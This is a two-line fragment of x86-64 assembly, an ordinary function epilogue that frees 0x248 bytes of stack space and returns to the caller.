add rsp, 0x248
ret